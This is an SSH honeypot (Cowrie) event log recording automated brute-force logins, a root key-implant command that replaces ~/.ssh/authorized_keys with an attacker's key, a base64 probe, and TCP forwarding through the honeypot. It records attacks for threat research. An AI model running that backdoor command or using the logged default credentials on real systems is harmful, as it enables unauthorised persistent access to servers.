{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:53:12.597315Z","src_ip":"43.160.200.19","session":"c192f74d65b7","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:53:12.600280Z","src_ip":"43.160.200.19","session":"c192f74d65b7","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:53:12.848931Z","src_ip":"43.160.200.19","session":"c192f74d65b7","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:53:12.852670Z","src_ip":"43.160.200.19","session":"c192f74d65b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.160.200.19","src_port":35460,"dst_ip":"10.17.0.5","dst_port":22,"session":"80d466ecebf1","protocol":"ssh","message":"New connection: 43.160.200.19:35460 (10.17.0.5:22) [session: 80d466ecebf1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:53:13.091115Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:53:13.095457Z","src_ip":"43.160.200.19","session":"80d466ecebf1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:53:13.340762Z","src_ip":"43.160.200.19","session":"80d466ecebf1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:53:14.357513Z","src_ip":"43.160.200.19","session":"80d466ecebf1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:53:15.606696Z","src_ip":"43.160.200.19","session":"80d466ecebf1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.160.200.19","src_port":35472,"dst_ip":"10.17.0.5","dst_port":22,"session":"e923e72ad48e","protocol":"ssh","message":"New connection: 43.160.200.19:35472 (10.17.0.5:22) [session: e923e72ad48e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:53:15.848873Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:53:15.853493Z","src_ip":"43.160.200.19","session":"e923e72ad48e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:53:16.102450Z","src_ip":"43.160.200.19","session":"e923e72ad48e","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:53:17.117750Z","src_ip":"43.160.200.19","session":"e923e72ad48e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.4","message":"Connection lost after 7.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:53:17.366056Z","src_ip":"43.160.200.19","session":"c192f74d65b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:53:17.370027Z","src_ip":"43.160.200.19","session":"e923e72ad48e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"85.198.97.85","src_port":33124,"dst_ip":"159.203.135.109","dst_port":22,"session":"7279f9d9ba65","protocol":"ssh","message":"New connection: 85.198.97.85:33124 (159.203.135.109:22) [session: 7279f9d9ba65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:55:05.733584Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:55:05.738141Z","src_ip":"85.198.97.85","session":"7279f9d9ba65","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:55:05.874249Z","src_ip":"85.198.97.85","session":"7279f9d9ba65","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"0000","message":"login attempt [root/0000] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:55:06.290947Z","src_ip":"85.198.97.85","session":"7279f9d9ba65","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:55:06.607651Z","src_ip":"85.198.97.85","session":"7279f9d9ba65","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo 'dGVzdA==' | base64 -d 2>/dev/null","message":"CMD: echo 'dGVzdA==' | base64 -d 2>/dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:55:06.611699Z","src_ip":"85.198.97.85","session":"7279f9d9ba65","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ef7b1c9c4b729b7e095c20c9575fd6b72c51461556219a5d8298fcd94a26e973","size":4,"shasum":"ef7b1c9c4b729b7e095c20c9575fd6b72c51461556219a5d8298fcd94a26e973","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/ef7b1c9c4b729b7e095c20c9575fd6b72c51461556219a5d8298fcd94a26e973 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:55:06.758014Z","src_ip":"85.198.97.85","session":"7279f9d9ba65","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:55:06.765138Z","src_ip":"85.198.97.85","session":"7279f9d9ba65","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.90.185.17","src_port":47412,"dst_ip":"159.203.135.109","dst_port":22,"session":"13f328da1937","protocol":"ssh","message":"New connection: 77.90.185.17:47412 (159.203.135.109:22) [session: 13f328da1937]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:55:47.182500Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH_8.4p1 Debian-5+deb11u3","message":"Remote SSH version: SSH-2.0-OpenSSH_8.4p1 Debian-5+deb11u3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:55:47.187413Z","src_ip":"77.90.185.17","session":"13f328da1937","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"390ffe68a68c2a2891210413e80689fa","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-cbc;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com,zlib","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","sk-ecdsa-sha2-nistp256@openssh.com","ssh-ed25519","sk-ssh-ed25519@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-cbc"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 390ffe68a68c2a2891210413e80689fa","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:55:47.292485Z","src_ip":"77.90.185.17","session":"13f328da1937","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"libreelec","message":"login attempt [root/libreelec] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:55:47.810589Z","src_ip":"77.90.185.17","session":"13f328da1937","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"47.130.34.9","dst_port":443,"src_ip":"77.90.185.17","src_port":43446,"message":"direct-tcp connection request to 47.130.34.9:443 from 127.0.0.1:43446","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:55:50.379038Z","session":"13f328da1937","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"47.130.34.9","dst_port":443,"ja4":"t12d4312h1_c7886603b240_d89d4c7b8e02","message":"JA4 fingerprint for forwarded TLS to 47.130.34.9:443: t12d4312h1_c7886603b240_d89d4c7b8e02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:55:51.712761Z","src_ip":"77.90.185.17","session":"13f328da1937","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"47.130.34.9","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03x)\\xde\\x0b\\xa1\\x0e\\xfc\\xf6J\\x02T\\xde\\xc7<\\r\\xeb\\tQF\\xd1Y\\xc9Bk\\xbe\\x9f0\\xceiUR9 =WD[=\\xda\\xa5\\x0c& \\xd6\\x83b\\xe9q\\x07\\xb7\\xc6Lp\\x0e\\xac\\niQ\\x08\\x00C\\x054s\\xc6\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x1a\\x00\\x18\\x00\\x00\\x15checkip.amazonaws.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\x03V\\xac\\xe9\\xe9\\x1d\\x08\\xae \\xa4\\x19b\\x0b\\x88m-}\\x01\\x04!\\x08q\\xdb\\xd6o\\xb4\\xd0\\xdf+\\xe0\\x8a\\x0f\\x00\\x15\\x00\\xa1\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":0,"message":"discarded direct-tcp forward request 0 to 47.130.34.9:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03x)\\xde\\x0b\\xa1\\x0e\\xfc\\xf6J\\x02T\\xde\\xc7<\\r\\xeb\\tQF\\xd1Y\\xc9Bk\\xbe\\x9f0\\xceiUR9 =WD[=\\xda\\xa5\\x0c& \\xd6\\x83b\\xe9q\\x07\\xb7\\xc6Lp\\x0e\\xac\\niQ\\x08\\x00C\\x054s\\xc6\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x1a\\x00\\x18\\x00\\x00\\x15checkip.amazonaws.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\x03V\\xac\\xe9\\xe9\\x1d\\x08\\xae \\xa4\\x19b\\x0b\\x88m-}\\x01\\x04!\\x08q\\xdb\\xd6o\\xb4\\xd0\\xdf+\\xe0\\x8a\\x0f\\x00\\x15\\x00\\xa1\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:55:51.717627Z","src_ip":"77.90.185.17","session":"13f328da1937","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"184.24.145.53","dst_port":443,"src_ip":"77.90.185.17","src_port":46280,"message":"direct-tcp connection request to 184.24.145.53:443 from 127.0.0.1:46280","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:55:53.438229Z","session":"13f328da1937","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"184.24.145.53","dst_port":443,"ja4":"t12d4312h1_c7886603b240_d89d4c7b8e02","message":"JA4 fingerprint for forwarded TLS to 184.24.145.53:443: t12d4312h1_c7886603b240_d89d4c7b8e02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:55:55.124329Z","src_ip":"77.90.185.17","session":"13f328da1937","protocol":"ssh"}
